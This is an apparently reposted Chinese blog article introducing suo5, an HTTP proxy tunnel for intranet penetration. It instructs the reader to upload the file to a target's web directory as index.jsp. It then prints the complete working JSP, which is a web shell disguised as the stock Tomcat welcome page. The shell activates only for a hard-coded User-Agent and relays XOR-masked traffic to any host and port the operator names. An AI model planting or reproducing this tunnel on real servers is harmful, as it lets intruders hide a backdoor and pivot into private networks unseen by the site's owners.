Suo5-HTTP 代理隧道工具

这篇具有很好参考价值的文章主要介绍了Suo5-HTTP 代理隧道工具。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Suo5-HTTP 代理隧道工具

一、介绍

地址: https://github.com/zema1/suo5

suo5 是一个全新的 HTTP 代理隧道,基于 HTTP/1.1 的 Chunked-Encoding 构建。相比 Neo-reGeorg 等传统隧道工具, suo5 的性能可以达到其数十倍

http隧道工具,内网渗透,http,java,jvm

http隧道工具,内网渗透,http,java,jvm

二、使用方式

上传suo5.jsp 到目标解析目录即可,改名为index.jsp
http隧道工具,内网渗透,http,java,jvm

http隧道工具,内网渗透,http,java,jvm文章来源地址https://www.toymoban.com/news/detail-540903.html

<%--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements.  See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License.  You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
--%>



<%@ page session="false" pageEncoding="UTF-8" contentType="text/html; charset=UTF-8" %>
<%
java.text.SimpleDateFormat sdf = new java.text.SimpleDateFormat("yyyy");
request.setAttribute("year", sdf.format(new java.util.Date()));
request.setAttribute("tomcatUrl", "https://tomcat.apache.org/");
request.setAttribute("tomcatDocUrl", "/docs/");
request.setAttribute("tomcatExamplesUrl", "/examples/");
%>

<%@ page trimDirectiveWhitespaces="true" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page import="java.io.*" %>
<%@ page import="java.net.Socket" %>
<%@ page import="java.net.InetSocketAddress" %>
<%@ page import="java.util.Date" %>
<%@ page import="java.util.Arrays" %>
<%!
    public class Safety implements Runnable {

        InputStream gInStream;
        OutputStream gOutStream;

        private void setStream(InputStream in, OutputStream out) {
            gInStream = in;
            gOutStream = out;
        }

        public void process(ServletRequest sReq, ServletResponse sResp)  {
            HttpServletRequest request = (HttpServletRequest) sReq;
            HttpServletResponse response = (HttpServletResponse) sResp;
            String agent = request.getHeader("User-Agent");
            String contentType = request.getHeader("Content-Type");

            if (agent == null || !agent.equals("Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.1.2.3")) {
                return;
            }
            if (contentType == null) {
                return;
            }

            try {
                if (contentType.equals("application/plain")) {
                    tryFullDuplex(request, response);
                    return;
                }

                if (contentType.equals("application/octet-stream"))  {
                    processDataBio(request, response);
                } else {
                    processDataUnary(request, response);
                }
            } catch (Throwable e) {

            }
        }

        public void readInputStreamWithTimeout(InputStream is, byte[] b, int timeoutMillis) throws IOException, InterruptedException {
            int bufferOffset = 0;
            long maxTimeMillis = new Date().getTime() + timeoutMillis;
            while (new Date().getTime() < maxTimeMillis && bufferOffset < b.length) {
                int readLength = b.length - bufferOffset;
                if (is.available() < readLength) {
                    readLength = is.available();
                }
                // can alternatively use bufferedReader, guarded by isReady():
                int readResult = is.read(b, bufferOffset, readLength);
                if (readResult == -1) break;
                bufferOffset += readResult;
                Thread.sleep(200);
            }
        }

        public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
            InputStream in = request.getInputStream();
            byte[] data = new byte[32];
            readInputStreamWithTimeout(in, data, 2000);
            OutputStream out = response.getOutputStream();
            out.write(data);
        }


        private HashMap newCreate(byte s) {
            HashMap<String, byte[]> m = new HashMap<String, byte[]>();
            m.put("ac", new byte[]{0x04});
            m.put("s", new byte[]{s});
            return m;
        }

        private HashMap newData(byte[] data) {
            HashMap<String, byte[]> m = new HashMap<String, byte[]>();
            m.put("ac", new byte[]{0x01});
            m.put("dt", data);
            return m;
        }

        private HashMap newDel() {
            HashMap<String, byte[]> m = new HashMap<String, byte[]>();
            m.put("ac", new byte[]{0x02});
            return m;
        }

        private HashMap newStatus(byte b) {
            HashMap<String, byte[]> m = new HashMap<String, byte[]>();
            m.put("s", new byte[]{b});
            return m;
        }

        byte[] u32toBytes(int i) {
            byte[] result = new byte[4];
            result[0] = (byte) (i >> 24);
            result[1] = (byte) (i >> 16);
            result[2] = (byte) (i >> 8);
            result[3] = (byte) (i /*>> 0*/);
            return result;
        }

        int bytesToU32(byte[] bytes) {
            return ((bytes[0] & 0xFF) << 24) |
                    ((bytes[1] & 0xFF) << 16) |
                    ((bytes[2] & 0xFF) << 8) |
                    ((bytes[3] & 0xFF) << 0);
        }


        private byte[] marshal(HashMap<String, byte[]> m) throws IOException {
            ByteArrayOutputStream buf = new ByteArrayOutputStream();
            for (String key : m.keySet()) {
                byte[] value = m.get(key);
                buf.write((byte) key.length());
                buf.write(key.getBytes());
                buf.write(u32toBytes(value.length));
                buf.write(value);
            }

            byte[] data = buf.toByteArray();
            ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
            dbuf.putInt(data.length);
            // xor key
            byte key = data[data.length / 2];
            dbuf.put(key);
            for (int i = 0; i < data.length; i++) {
                data[i] = (byte) (data[i] ^ key);
            }
            dbuf.put(data);
            return dbuf.array();
        }

        private HashMap<String, byte[]> unmarshal(InputStream in) throws Exception {
            DataInputStream reader = new DataInputStream(in);
            byte[] header = new byte[4 + 1];
            reader.readFully(header);
            // read full
            ByteBuffer bb = ByteBuffer.wrap(header);
            int len = bb.getInt();
            int x = bb.get();
            if (len > 1024 * 1024 * 32) {
                throw new IOException("invalid len");
            }
            byte[] bs = new byte[len];
            reader.readFully(bs);
            for (int i = 0; i < bs.length; i++) {
                bs[i] = (byte) (bs[i] ^ x);
            }
            HashMap<String, byte[]> m = new HashMap<String, byte[]>();
            byte[] buf;
            for (int i = 0; i < bs.length - 1; ) {
                short kLen = bs[i];
                i += 1;
                if (i + kLen >= bs.length) {
                    throw new Exception("key len error");
                }
                if (kLen < 0) {
                    throw new Exception("key len error");
                }
                buf = Arrays.copyOfRange(bs, i, i+kLen);
                String key = new String(buf);
                i += kLen;

                if (i + 4 >= bs.length) {
                    throw new Exception("value len error");
                }
                buf = Arrays.copyOfRange(bs, i, i+4);
                int vLen = bytesToU32(buf);
                i += 4;
                if (vLen < 0) {
                    throw new Exception("value error");
                }

                if (i + vLen > bs.length) {
                    throw new Exception("value error");
                }
                byte[] value = Arrays.copyOfRange(bs, i, i+vLen);
                i += vLen;

                m.put(key, value);
            }
            return m;
        }

        private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
            final InputStream reqInputStream = request.getInputStream();
            final BufferedInputStream reqReader = new BufferedInputStream(reqInputStream);
            HashMap<String, byte[]> dataMap;
            dataMap = unmarshal(reqReader);

            byte[] action = dataMap.get("ac");
            if (action.length != 1 || action[0] != 0x00) {
                resp.setStatus(403);
                return;
            }
            resp.setBufferSize(8 * 1024);
            final OutputStream respOutStream = resp.getOutputStream();

            resp.setHeader("X-Accel-Buffering", "no");
            String host = new String(dataMap.get("h"));
            int port = Integer.parseInt(new String(dataMap.get("p")));
            Socket sc;
            try {
                sc = new Socket();
                sc.connect(new InetSocketAddress(host, port), 5000);
            } catch (Exception e) {
                respOutStream.write(marshal(newStatus((byte) 0x01)));
                respOutStream.flush();
                respOutStream.close();
                return;
            }

            respOutStream.write(marshal(newStatus((byte) 0x00)));
            respOutStream.flush();

            final OutputStream scOutStream = sc.getOutputStream();
            final InputStream scInStream = sc.getInputStream();

            Thread t = null;
            try {
                Safety p = new Safety();
                p.setStream(scInStream, respOutStream);
                t = new Thread(p);
                t.start();
                readReq(reqReader, scOutStream);
            } catch (Exception e) {

            } finally {
                sc.close();
                respOutStream.close();
                if (t != null) {
                    t.join();
                }
            }
        }

        private void readSocket(InputStream inputStream, OutputStream outputStream) throws IOException {
            byte[] readBuf = new byte[1024 * 8];

            while (true) {
                int n = inputStream.read(readBuf);
                if (n <= 0) {
                    break;
                }
                byte[] dataTmp = Arrays.copyOfRange(readBuf, 0, 0+n);
                byte[] finalData = marshal(newData(dataTmp));
                outputStream.write(finalData);
                outputStream.flush();
            }
        }

        private void readReq(BufferedInputStream bufInputStream, OutputStream socketOutStream) throws Exception {
            while (true) {
                HashMap<String, byte[]> dataMap;
                dataMap = unmarshal(bufInputStream);

                byte[] action = dataMap.get("ac");
                if (action.length != 1) {
                    return;
                }
                if (action[0] == 0x02) {
                    socketOutStream.close();
                    return;
                } else if (action[0] == 0x01) {
                    byte[] data = dataMap.get("dt");
                    if (data.length != 0) {
                        socketOutStream.write(data);
                        socketOutStream.flush();
                    }
                } else {
                    return;
                }
            }
        }

        private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
                Exception {
            InputStream is = request.getInputStream();
            ServletContext ctx = request.getSession().getServletContext();
            BufferedInputStream reader = new BufferedInputStream(is);
            HashMap<String, byte[]> dataMap;
            dataMap = unmarshal(reader);

            String clientId = new String(dataMap.get("id"));
            byte[] action = dataMap.get("ac");
            if (action.length != 1) {
                resp.setStatus(403);
                return;
            }

            resp.setBufferSize(8 * 1024);
            OutputStream respOutStream = resp.getOutputStream();
            if (action[0] == 0x02) {
                OutputStream scOutStream = (OutputStream) ctx.getAttribute(clientId);
                if (scOutStream != null) {
                    scOutStream.close();
                }
                return;
            } else if (action[0] == 0x01) {
                OutputStream scOutStream = (OutputStream) ctx.getAttribute(clientId);
                if (scOutStream == null) {
                    respOutStream.write(marshal(newDel()));
                    respOutStream.flush();
                    respOutStream.close();
                    return;
                }
                byte[] data = dataMap.get("dt");
                if (data.length != 0) {
                    scOutStream.write(data);
                    scOutStream.flush();
                }
                respOutStream.close();
                return;
            }

            resp.setHeader("X-Accel-Buffering", "no");
            String host = new String(dataMap.get("h"));
            int port = Integer.parseInt(new String(dataMap.get("p")));
            Socket sc;
            try {
                sc = new Socket();
                sc.connect(new InetSocketAddress(host, port), 5000);
            } catch (Exception e) {
                respOutStream.write(marshal(newStatus((byte) 0x01)));
                respOutStream.flush();
                respOutStream.close();
                return;
            }

            OutputStream scOutStream = sc.getOutputStream();
            ctx.setAttribute(clientId, scOutStream);
            respOutStream.write(marshal(newStatus((byte) 0x00)));
            respOutStream.flush();

            InputStream scInStream = sc.getInputStream();

            try {
                readSocket(scInStream, respOutStream);
            } catch (Exception e) {

            } finally {
                sc.close();
                respOutStream.close();
                ctx.removeAttribute(clientId);
            }
        }

        public void run() {
            try {
                readSocket(gInStream, gOutStream);
            } catch (Exception e) {

            }
        }
    }
%>
<%
    Safety o = new Safety();
    o.process(request, response);
%>

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8" />
        <title><%=request.getServletContext().getServerInfo() %></title>
        <link href="favicon.ico" rel="icon" type="image/x-icon" />
        <link href="tomcat.css" rel="stylesheet" type="text/css" />
    </head>

    <body>
        <div id="wrapper">
            <div id="navigation" class="curved container">
                <span id="nav-home"><a href="${tomcatUrl}">Home</a></span>
                <span id="nav-hosts"><a href="${tomcatDocUrl}">Documentation</a></span>
                <span id="nav-config"><a href="${tomcatDocUrl}config/">Configuration</a></span>
                <span id="nav-examples"><a href="${tomcatExamplesUrl}">Examples</a></span>
                <span id="nav-wiki"><a href="https://cwiki.apache.org/confluence/display/TOMCAT/">Wiki</a></span>
                <span id="nav-lists"><a href="${tomcatUrl}lists.html">Mailing Lists</a></span>
                <span id="nav-help"><a href="${tomcatUrl}findhelp.html">Find Help</a></span>
                <br class="separator" />
            </div>
            <div id="asf-box">
                <h1>${pageContext.servletContext.serverInfo}</h1>
            </div>
            <div id="upper" class="curved container">
                <div id="congrats" class="curved container">
                    <h2>If you're seeing this, you've successfully installed Tomcat. Congratulations!</h2>
                </div>
                <div id="notice">
                    <img id="tomcat-logo" src="tomcat.svg" alt="[tomcat logo]" />
                    <div id="tasks">
                        <h3>Recommended Reading:</h3>
                        <h4><a href="${tomcatDocUrl}security-howto.html">Security Considerations How-To</a></h4>
                        <h4><a href="${tomcatDocUrl}manager-howto.html">Manager Application How-To</a></h4>
                        <h4><a href="${tomcatDocUrl}cluster-howto.html">Clustering/Session Replication How-To</a></h4>
                    </div>
                </div>
                <div id="actions">
                    <div class="button">
                        <a class="container shadow" href="/manager/status"><span>Server Status</span></a>
                    </div>
                    <div class="button">
                        <a class="container shadow" href="/manager/html"><span>Manager App</span></a>
                    </div>
                    <div class="button">
                        <a class="container shadow" href="/host-manager/html"><span>Host Manager</span></a>
                    </div>
                </div>
                <br class="separator" />
            </div>
            <div id="middle" class="curved container">
                <h3>Developer Quick Start</h3>
                <div class="col25">
                    <div class="container">
                        <p><a href="${tomcatDocUrl}setup.html">Tomcat Setup</a></p>
                        <p><a href="${tomcatDocUrl}appdev/">First Web Application</a></p>
                    </div>
                </div>
                <div class="col25">
                    <div class="container">
                        <p><a href="${tomcatDocUrl}realm-howto.html">Realms &amp; AAA</a></p>
                        <p><a href="${tomcatDocUrl}jndi-datasource-examples-howto.html">JDBC DataSources</a></p>
                    </div>
                </div>
                <div class="col25">
                    <div class="container">
                        <p><a href="${tomcatExamplesUrl}">Examples</a></p>
                    </div>
                </div>
                <div class="col25">
                    <div class="container">
                        <p><a href="https://cwiki.apache.org/confluence/display/TOMCAT/Specifications">Servlet Specifications</a></p>
                        <p><a href="https://cwiki.apache.org/confluence/display/TOMCAT/Tomcat+Versions">Tomcat Versions</a></p>
                    </div>
                </div>
                <br class="separator" />
            </div>
            <div id="lower">
                <div id="low-manage" class="">
                    <div class="curved container">
                        <h3>Managing Tomcat</h3>
                        <p>For security, access to the <a href="/manager/html">manager webapp</a> is restricted.
                        Users are defined in:</p>
                        <pre>$CATALINA_HOME/conf/tomcat-users.xml</pre>
                        <p>In Tomcat 9.0 access to the manager application is split between
                           different users. &nbsp; <a href="${tomcatDocUrl}manager-howto.html">Read more...</a></p>
                        <br />
                        <h4><a href="${tomcatDocUrl}RELEASE-NOTES.txt">Release Notes</a></h4>
                        <h4><a href="${tomcatDocUrl}changelog.html">Changelog</a></h4>
                        <h4><a href="${tomcatUrl}migration.html">Migration Guide</a></h4>
                        <h4><a href="${tomcatUrl}security.html">Security Notices</a></h4>
                    </div>
                </div>
                <div id="low-docs" class="">
                    <div class="curved container">
                        <h3>Documentation</h3>
                        <h4><a href="${tomcatDocUrl}">Tomcat 9.0 Documentation</a></h4>
                        <h4><a href="${tomcatDocUrl}config/">Tomcat 9.0 Configuration</a></h4>
                        <h4><a href="https://cwiki.apache.org/confluence/display/TOMCAT/">Tomcat Wiki</a></h4>
                        <p>Find additional important configuration information in:</p>
                        <pre>$CATALINA_HOME/RUNNING.txt</pre>
                        <p>Developers may be interested in:</p>
                        <ul>
                            <li><a href="https://tomcat.apache.org/bugreport.html">Tomcat 9.0 Bug Database</a></li>
                            <li><a href="${tomcatDocUrl}api/index.html">Tomcat 9.0 JavaDocs</a></li>
                            <li><a href="https://github.com/apache/tomcat/tree/9.0.x">Tomcat 9.0 Git Repository at GitHub</a></li>
                        </ul>
                    </div>
                </div>
                <div id="low-help" class="">
                    <div class="curved container">
                        <h3>Getting Help</h3>
                        <h4><a href="${tomcatUrl}faq/">FAQ</a> and <a href="${tomcatUrl}lists.html">Mailing Lists</a></h4>
                        <p>The following mailing lists are available:</p>
                        <ul>
                            <li id="list-announce"><strong><a href="${tomcatUrl}lists.html#tomcat-announce">tomcat-announce</a><br />
                                Important announcements, releases, security vulnerability notifications. (Low volume).</strong>
                            </li>
                            <li><a href="${tomcatUrl}lists.html#tomcat-users">tomcat-users</a><br />
                                User support and discussion
                            </li>
                            <li><a href="${tomcatUrl}lists.html#taglibs-user">taglibs-user</a><br />
                                User support and discussion for <a href="${tomcatUrl}taglibs/">Apache Taglibs</a>
                            </li>
                            <li><a href="${tomcatUrl}lists.html#tomcat-dev">tomcat-dev</a><br />
                                Development mailing list, including commit messages
                            </li>
                        </ul>
                    </div>
                </div>
                <br class="separator" />
            </div>
            <div id="footer" class="curved container">
                <div class="col20">
                    <div class="container">
                        <h4>Other Downloads</h4>
                        <ul>
                            <li><a href="${tomcatUrl}download-connectors.cgi">Tomcat Connectors</a></li>
                            <li><a href="${tomcatUrl}download-native.cgi">Tomcat Native</a></li>
                            <li><a href="${tomcatUrl}taglibs/">Taglibs</a></li>
                            <li><a href="${tomcatDocUrl}deployer-howto.html">Deployer</a></li>
                        </ul>
                    </div>
                </div>
                <div class="col20">
                    <div class="container">
                        <h4>Other Documentation</h4>
                        <ul>
                            <li><a href="${tomcatUrl}connectors-doc/">Tomcat Connectors</a></li>
                            <li><a href="${tomcatUrl}connectors-doc/">mod_jk Documentation</a></li>
                            <li><a href="${tomcatUrl}native-doc/">Tomcat Native</a></li>
                            <li><a href="${tomcatDocUrl}deployer-howto.html">Deployer</a></li>
                        </ul>
                    </div>
                </div>
                <div class="col20">
                    <div class="container">
                        <h4>Get Involved</h4>
                        <ul>
                            <li><a href="${tomcatUrl}getinvolved.html">Overview</a></li>
                            <li><a href="${tomcatUrl}source.html">Source Repositories</a></li>
                            <li><a href="${tomcatUrl}lists.html">Mailing Lists</a></li>
                            <li><a href="https://cwiki.apache.org/confluence/display/TOMCAT/">Wiki</a></li>
                        </ul>
                    </div>
                </div>
                <div class="col20">
                    <div class="container">
                        <h4>Miscellaneous</h4>
                        <ul>
                            <li><a href="${tomcatUrl}contact.html">Contact</a></li>
                            <li><a href="${tomcatUrl}legal.html">Legal</a></li>
                            <li><a href="https://www.apache.org/foundation/sponsorship.html">Sponsorship</a></li>
                            <li><a href="https://www.apache.org/foundation/thanks.html">Thanks</a></li>
                        </ul>
                    </div>
                </div>
                <div class="col20">
                    <div class="container">
                        <h4>Apache Software Foundation</h4>
                        <ul>
                            <li><a href="${tomcatUrl}whoweare.html">Who We Are</a></li>
                            <li><a href="${tomcatUrl}heritage.html">Heritage</a></li>
                            <li><a href="https://www.apache.org">Apache Home</a></li>
                            <li><a href="${tomcatUrl}resources.html">Resources</a></li>
                        </ul>
                    </div>
                </div>
                <br class="separator" />
            </div>
            <p class="copyright">Copyright &copy;1999-${year} Apache Software Foundation.  All Rights Reserved</p>
        </div>
    </body>

</html>

到了这里,关于Suo5-HTTP 代理隧道工具的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 使用HTTP隧道代理的Python爬虫实例

            在网络爬虫的开发中,有时我们需要使用代理服务器来访问目标页面,以便实现IP的切换和隐藏真实的网络请求。本文将介绍如何使用Python中的requests库或者urllib2库和HTTP隧道代理来访问目标网页,并获取响应信息。我们将使用一个具体的实例来演示该过程。 requ

    2024年02月12日
    浏览(51)
  • 内网隧道—HTTP\DNS\ICMP

           本文仅限于安全研究和学习,用户承担因使用此工具而导致的所有法律和相关责任! 作者不承担任何法律和相关责任! Neo-reGeorg 是一个旨在积极重构 reGeorg 的项目,目的是: 提高可用性,避免特征检测 提高 tunnel 连接安全性 提高传输内容保密性 应对更多的网络环

    2024年02月13日
    浏览(38)
  • SSH隧道动态转发端口实现SOCKS代理 + HTTP代理(Privoxy)

    实现效果 :ssh连接远程服务器进行网络转发,本地服务连接网络代理 环境 :windows11/10 需要工具 :MobaXterm(ssh隧道端口转发),Privoxy(socks转http代理),一个云服务器 多种方法选一种即可:  命令行: ssh -C -N -D LOCAL_ADDRESS:LOCAL_PORT USER@REMOTE_ADDRESS Putty客户端 MobaXteam中的 Mo

    2023年04月09日
    浏览(43)
  • CentOS 7.6的HTTP隧道代理如何支持移动设备和远程用户

    在CentOS 7.6上配置HTTP隧道代理以支持移动设备和远程用户,需要考虑到移动网络的特点以及远程用户的需求。以下是一些关键步骤和策略,可以帮助你实现这一目标。 1. 优化移动设备体验 压缩数据 :HTTP隧道代理可以用于压缩进出移动网络的数据,以减少传输时间和流量消耗

    2024年02月02日
    浏览(46)
  • 内网隧道代理技术(二十一)之 CS工具自带中转技术上线不出网机器

    如图A区域存在一台中转机器,这台机器可以出网,这种是最常见的情况。我们在渗透测试的过程中经常是拿下一台边缘机器,其有多块网卡,边缘机器可以访问内网机器,内网机器都不出网。这种情况下拿这个边缘机器做中转,就可以使用CS工具自带上线不出网机器 网络拓扑

    2024年02月10日
    浏览(31)
  • 与世界分享我刚编的mysql http隧道工具-hersql原理与使用

    原文地址:https://blog.fanscore.cn/a/53/ 本文是与世界分享我刚编的转发ntunnel_mysql.php的工具的后续,之前的实现有些拉胯,这次重构了下。需求背景是为了在本地macbook上通过开源的mysql可视化客户端(dbeaver、Sequel Ace等)访问我司测试环境的mysql,整个测试环境的如图所示: 那么就有以

    2024年02月06日
    浏览(39)
  • 内网隧道代理技术(十五)之 Earthworm的使用(二级代理)

    本文紧接着上一篇文章继续讲解Earthworm工具的使用 二级正向代理发生在如下的情况: 1、Web服务器在公网,黑客可以直接访问 2、B机器在内网,黑客不能直接访问 3、Web服务器可以访问内网机器B 4、内网机器B可以访问公司内部机器 在这种情况下我们可以使用(二级代理)正向

    2024年02月14日
    浏览(41)
  • 内网隧道代理技术(十一)之公网资产扫描-代理池配置

    代理池的意思就是拥有多个代理可以随意切换IP的东西,每次用户的请求通过代理池,每个请求包的IP地址是不同的,那么代理池一般有几种用法呢? 购买代理池,购买的东西会自动切换IP,简单又方便(大力推荐) 有些工具可以支持文本代理的方式,就是将很多单个IP代理放

    2024年02月13日
    浏览(41)
  • 70内网安全-域横向内网漫游Socks代理隧道技术(下)

              这节课解决代理的问题, 他是内网里面的穿透技术,隧道主要安全设备和流量监控的拦截问题,我们在做渗透的时候需要回显数据或者一些重要的信息,走的协议不一样,tcp/ip有七层, 在不同层里面有不同的协议,有一些协议会受到防火墙,过滤设备和流量检测

    2024年02月03日
    浏览(45)
  • Linux命令行工具使用HTTP代理的方法详解

    亲爱的Linux用户们,有没有想过在命令行世界里,你的每一个指令都能悄无声息地穿越千山万水,而不被外界窥探?哈哈,没错,就是通过HTTP代理!今天,我们就来一起探索如何在Linux命令行工具中使用HTTP代理,让你的指令行走江湖更加神秘莫测! 一、设置环境变量 首先,

    2024年04月24日
    浏览(41)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包